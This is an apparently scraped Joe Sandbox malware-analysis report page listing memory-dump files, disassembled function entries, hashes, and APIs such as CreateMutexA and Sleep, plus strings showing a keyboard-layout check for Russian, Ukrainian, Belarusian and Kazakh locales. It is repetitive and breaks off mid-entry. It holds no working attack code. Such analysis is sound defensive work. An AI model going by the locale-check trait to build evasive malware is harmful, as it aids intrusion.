Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: ac61e01656c13c00bd5a22c9d0911983e765230f0e78a71ccae8def0b13086bb
Instruction ID: 05beee6407d9aef3d471698fb0486a1b0b6269505b5bc8835d655d22109662a5
Opcode Fuzzy Hash: ac61e01656c13c00bd5a22c9d0911983e765230f0e78a71ccae8def0b13086bb
Instruction Fuzzy Hash: BFE0CD301811086ECF2F7B58CC15E8A3B6BEF41744F004814FC0447271CB35ED51C590

Function 005D5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000423, xrefs: 005D60FA
0000043f, xrefs: 005D612B
00000422, xrefs: 005D60C9
00000419, xrefs: 005D6098
Keyboard Layout\Preload, xrefs: 005D6054

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 4832e7c32cd5faea8ab5bff2387a9364828fae626766f8d05d7271a9e1c3cfe9
Instruction ID: 944382f905becad0ca24201162e133f7496e275cb1a934af40b7ed56388df3c3
Opcode Fuzzy Hash: 4832e7c32cd5faea8ab5bff2387a9364828fae626766f8d05d7271a9e1c3cfe9
Instruction Fuzzy Hash: 2DF1C1709002599FEB24DF58CC84BDEBBBAFF44304F50459AF518A7381DB749A84CB94

Function 005D9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 005DA963
CreateMutexA.KERNEL32(00000000,00000000,00633254), ref: 005DA981

Strings

T2c, xrefs: 005DA970

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2c
API String ID: 1464230837-2906602477
Opcode ID: a73b1c039016e9de129c5ff1d39b21e1ebcf1034919a7fbc605dce7050c43c59
Instruction ID: 95567b2ddaf02538d8e3d6daf6033b3cdaf289592365433619a7d58a6356814f
Opcode Fuzzy Hash: a73b1c039016e9de129c5ff1d39b21e1ebcf1034919a7fbc605dce7050c43c59
Instruction Fuzzy Hash: 2A3109717142409BFB28DB6CDC897AEBF62FBC1314F24821BE054973E6C776998087A1

Function 005D9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 005DA963
CreateMutexA.KERNEL32(00000000,00000000,00633254), ref: 005DA981

Strings

T2c, xrefs: 005DA970

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2c
API String ID: 1464230837-2906602477
Opcode ID: a332e031ed139026f9c586c24b7368d90ba80802596909efa696fbaba288bf11
Instruction ID: e4129f2c1c9ead92718e14723a16b2837ef46110b9ce9022b524ac48446df611
Opcode Fuzzy Hash: a332e031ed139026f9c586c24b7368d90ba80802596909efa696fbaba288bf11
Instruction Fuzzy Hash: FE3125717002419BEB28DB6CD8987AEBF62FBC6310F24861BE454D73D5D736998087A2

Function 005DA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 005DA963
CreateMutexA.KERNEL32(00000000,00000000,00633254), ref: 005DA981

Strings

T2c, xrefs: 005DA970

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2c
API String ID: 1464230837-2906602477
Opcode ID: 5ce9eef7b5e21ab70a08445a9442312a5f12d85ca0c3b19b41f8cd90b37f11f9
Instruction ID: 03b6e22f18e9e74ddd707ad2258443ba7658908b74f3ea04e2b0a0b09872c353
